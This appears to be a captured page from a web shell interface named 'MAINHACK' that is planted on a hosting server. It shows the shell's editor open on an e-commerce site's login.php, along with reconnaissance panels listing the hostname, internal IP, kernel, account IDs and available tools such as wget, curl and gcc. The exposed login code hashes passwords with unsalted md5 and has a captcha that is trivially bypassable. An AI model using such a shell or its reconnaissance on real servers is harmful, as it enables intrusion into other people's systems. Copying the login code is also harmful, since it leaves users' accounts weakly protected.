[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: login.php
<?php include("header.php"); ?> <!-- Banner Start --> <div class="login"> <div class="login-right aos-init aos-animate" data-aos="fade-down" style="transition:all 1600ms ease-in-out;"> <form method="post"> <img src="images/fav.png" alt="" title="logo" class="logo-log" style=""> <h4>Sign in</h4> <h5>Continue to Shop ecommerce.in</h5> <div class="form-left-to-w3l " id="b_name"> <label>Email ID/Phone </label> <input type="text" placeholder="Email/Phone" name="email" id="em" required=""> <p class="lost" style="text-align: left;"><a href="reset_pass.php">Forgot password ?</a></p> </div> <div class="form-left-to-w3l"> <label>Password</label> <input type="password" placeholder="Password" name="password" required=""> </div> <div class="log-input form-left-to-w3l" id="b_name"> <label>Captcha <b>*</b></label> <input type="text" name="captcha" id="captcha" style="color: #fff !important; background: url(images/captcha.png) no-repeat top right; background-size: auto; background-size: auto; background-size: cover; letter-spacing: 5px; margin: 0 0 0 0; padding: 10px 0 8px 75px; font-size: 26px; overflow: hidden; height: 43px;" value="<?php echo rand(0,1999); ?>" readonly=""> </div> <div class="log-input form-left-to-w3l" id="b_name"> <label>Fill Captcha <b>*</b></label> <input type="text" name="put_captcha" id="put_captcha" placeholder="Captcha Please" required=""> </div> <!--<div style="position: relative;"> <img src="images/captcha_background.png" class="captcha-hed"><span class="captcha-text"> <input type="text" name="captcha" style="color:#000 !important" value="<?php echo rand(0,1999); ?>" readonly> </span> </div> <div class="form-left-to-w3l"> <input type="text" name="put_captcha" placeholder="Captcha Please" required=""> </div>--> <a href="otp.php?tab=<?=base64_encode('customers')?>&type=<?=base64_encode('customers')?>" class="forget-otp" >Login with OTP</a> <a href="reset_pass.php?tab=<?=base64_encode('customers')?>&type=<?=base64_encode('customers')?>" class="forget-pass" target="" >Forgot Password?</a> <div class="form-sub-acc"> <div class="form-sub"> <input type="submit" class="" name="sub" id="sub" value="Submit"> </div> <div class="form-acc"> <p class="account1" style="text-align: right;color: #324e53;"><a href="registration.php" style="color: #324e53; padding: 15px 0 0; display: block;">Create a new account</a></p> </div> </div> </form> <?php $login=new Oops($db); if(isset($_POST['sub'])){ if($_POST['captcha']!=$_POST['put_captcha']){ echo "<script>alert('Oops !! Captcha is invalid!!')</script>"; }else{ $login->data1=filter_var($_POST['email'],FILTER_SANITIZE_STRING); $login->data2=md5(filter_var($_POST['password'],FILTER_SANITIZE_STRING)); $login->col1="email"; $login->col2="password"; $login->table="user"; $r=$login->login(); if($r){ $num = $r->rowCount(); if($num>0){ while($row= $r->fetch(PDO::FETCH_ASSOC)) //fetching the contents of the row { extract($row); if($row['status']!="ACTIVE"){ echo "<script>sweetAlert('Oops','Your mail id is not verified.Please contact the site admin','error');</script>"; }else{ $uid=session_id(); $_SESSION['Logged'] = 1; $_SESSION['login_user'] = $row['name']; $_SESSION['username'] = $_POST['email']; $_SESSION['login_id'] = $row['user_id']; $_SESSION['sessionid'] = $uid; $_SESSION['phone']=$row['phone']; if(!empty($_REQUEST['pg'])){ $location=base64_decode($_REQUEST['pg']); header("location:cart.php"); }else{ header("location:index.php"); } //exit(); } } }else{ echo "<script>sweetAlert('Oops','Please give correct email/password','error');</script>"; } } } } ?> </div> </div> <?php include("footer.php"); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.1 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619